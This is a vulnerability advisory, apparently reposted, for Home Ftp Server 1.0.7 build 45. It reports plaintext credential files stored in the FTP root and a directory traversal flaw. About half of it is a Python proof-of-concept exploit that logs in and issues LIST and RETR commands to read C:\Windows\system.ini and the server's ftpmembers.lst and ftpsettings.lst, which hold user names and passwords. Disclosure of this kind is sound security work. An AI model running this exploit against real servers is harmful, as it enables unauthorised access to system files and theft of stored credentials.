Home Ftp Server Multiple Vulnerabilities (Information Disclosure, Directory Traversal)Summary
"Home ftp server is a very easy to use Windows FTP server application with all the nice ftp features included."
Lack of proper root directory jailing, and lack of proper default configuration allow attackers to obtain user name and files, and to download to see and download any files on the system.
Credit:
The information has been provided by Donato Ferrante.
The original article can be found at: http://www.autistici.org/fdonato/advisory/HomeFtpServer1.0.7-adv.txt
Details
Vulnerable Systems:
* Home Ftp Server version 1.0.7 b45
Information Disclosure:
By default the program setting files ftpmembers.lst and ftpsettings.lst stores at the program home directory, which is the default home directory for the ftp server itself.
The information stored the user stetting as plain text including the password files.
Attackers can obtain the program settings as well as users and password in the system.
Directory Traversal:
The program allow users to obtain and download all the files available on the remote system.
Exploit:
# Home FTP Server (1.0.7 build 45) Proof Of Concept
# by Donato Ferrante (fdonato at autistici.org | www.autistici.org/fdonato)
from ftplib import FTP
import sys
HOST = 'localhost' #host
PORT = 21 #port
USER = 'test' #username
PASS = 'test' #password
ftp = FTP()
try:
ftp.connect(HOST, PORT)
except:
print 'Unable to connect to: %s:%d' %(HOST, PORT)
sys.exit(-1)
print ftp.getwelcome()
try:
ftp.login(USER, PASS)
except:
print 'Login incorrect!'
sys.exit(-1)
ftp.set_pasv(False)
for i in range(4):
if i == 0:
raw_input("\nLIST C:\Windows\ [enter]")
request = 'LIST C:\Windows\\'
if i == 1:
raw_input("\nRETR C:\Windows\system.ini [enter]")
request = 'RETR C:\Windows\system.ini'
elif i == 2:
raw_input("\nRETR ftpmembers.lst [enter]")
request = 'RETR ftpmembers.lst'
elif i == 3:
raw_input("\nRETR ftpsettings.lst [enter]")
request = 'RETR ftpsettings.lst'
try:
ftp.retrlines(request)
except:
continue
ftp.close()
raw_input("\nbye [enter]")
#EoF